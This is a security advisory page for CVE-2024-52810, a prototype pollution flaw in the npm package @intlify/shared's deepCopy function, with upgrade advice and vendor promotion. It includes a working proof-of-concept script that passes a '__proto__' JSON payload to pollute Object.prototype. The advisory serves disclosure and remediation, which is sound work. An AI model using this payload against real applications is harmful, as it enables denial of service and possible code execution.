Summary
@intlify/shared Prototype Pollution vulnerability
Vulnerability type: Prototype Pollution
Affected Package:
Product: @intlify/shared
Version: 10.0.4
Vulnerability Location(s):
node_modules/@intlify/shared/dist/shared.cjs:232:26
Description:
The latest version of @intlify/shared (10.0.4) is vulnerable to Prototype Pollution through the entry function(s) lib.deepCopy. An attacker can supply a payload with Object.prototype setter to introduce or modify properties within the global prototype chain, causing denial of service (DoS) the minimum consequence.
Moreover, the consequences of this vulnerability can escalate to other injection-based attacks, depending on how the library integrates within the application. For instance, if the polluted property propagates to sensitive Node.js APIs (e.g., exec, eval), it could enable an attacker to execute arbitrary commands within the application's context.
PoC:
// install the package with the latest version
~$ npm install @intlify/[email protected]
// run the script mentioned below
~$ node poc.js
//The expected output (if the code still vulnerable) is below.
// Note that the output may slightly differs from function to another.
Before Attack: {}
After Attack: {"pollutedKey":123}
(async () => {
const lib = await import('@intlify/shared');
var someObj = {}
console.log("Before Attack: ", JSON.stringify({}.__proto__));
try {
// for multiple functions, uncomment only one for each execution.
lib.deepCopy (JSON.parse('{"__proto__":{"pollutedKey":123}}'), someObj)
} catch (e) { }
console.log("After Attack: ", JSON.stringify({}.__proto__));
delete Object.prototype.pollutedKey;
})();
References
Prototype Pollution Leading to Remote Code Execution - An example of how prototype pollution can lead to command code injection.
OWASP Prototype Pollution Prevention Cheat Sheet - Best practices for preventing prototype pollution.
PortSwigger Guide on Preventing Prototype Pollution - A detailed guide to securing your applications against prototype pollution.
Impact
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Already deployed Kodem?
See it in your environmentNew to Kodem? Get a demo →Remediation advice
@intlify/shared to 9.14.2 or later; @intlify/vue-i18n-core to 9.14.2 or later; vue-i18n to 9.14.2 or later; petite-vue-i18n to 10.0.5 or later; @intlify/shared to 10.0.5 or later; @intlify/vue-i18n-core to 10.0.5 or later; vue-i18n to 10.0.5 or later
Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.
Frequently Asked Questions
- What is CVE-2024-52810? CVE-2024-52810 is a medium-severity security vulnerability in @intlify/shared (npm), affecting versions >= 9.7.0, < 9.14.2. It is fixed in 9.14.2, 10.0.5.
- Which packages are affected by CVE-2024-52810?
@intlify/shared(npm) (versions >= 9.7.0, < 9.14.2)@intlify/vue-i18n-core(npm) (versions >= 9.7.0, < 9.14.2)vue-i18n(npm) (versions >= 9.7.0, < 9.14.2)petite-vue-i18n(npm) (versions >= 10.0.0, < 10.0.5)
- Is there a fix for CVE-2024-52810? Yes. CVE-2024-52810 is fixed in 9.14.2, 10.0.5. Upgrade to this version or later.
- Is CVE-2024-52810 exploitable, and should I be worried? Whether CVE-2024-52810 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2024-52810 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2024-52810?
- Upgrade
@intlify/sharedto 9.14.2 or later - Upgrade
@intlify/vue-i18n-coreto 9.14.2 or later - Upgrade
vue-i18nto 9.14.2 or later - Upgrade
petite-vue-i18nto 10.0.5 or later - Upgrade
@intlify/sharedto 10.0.5 or later - Upgrade
@intlify/vue-i18n-coreto 10.0.5 or later - Upgrade
vue-i18nto 10.0.5 or later
- Upgrade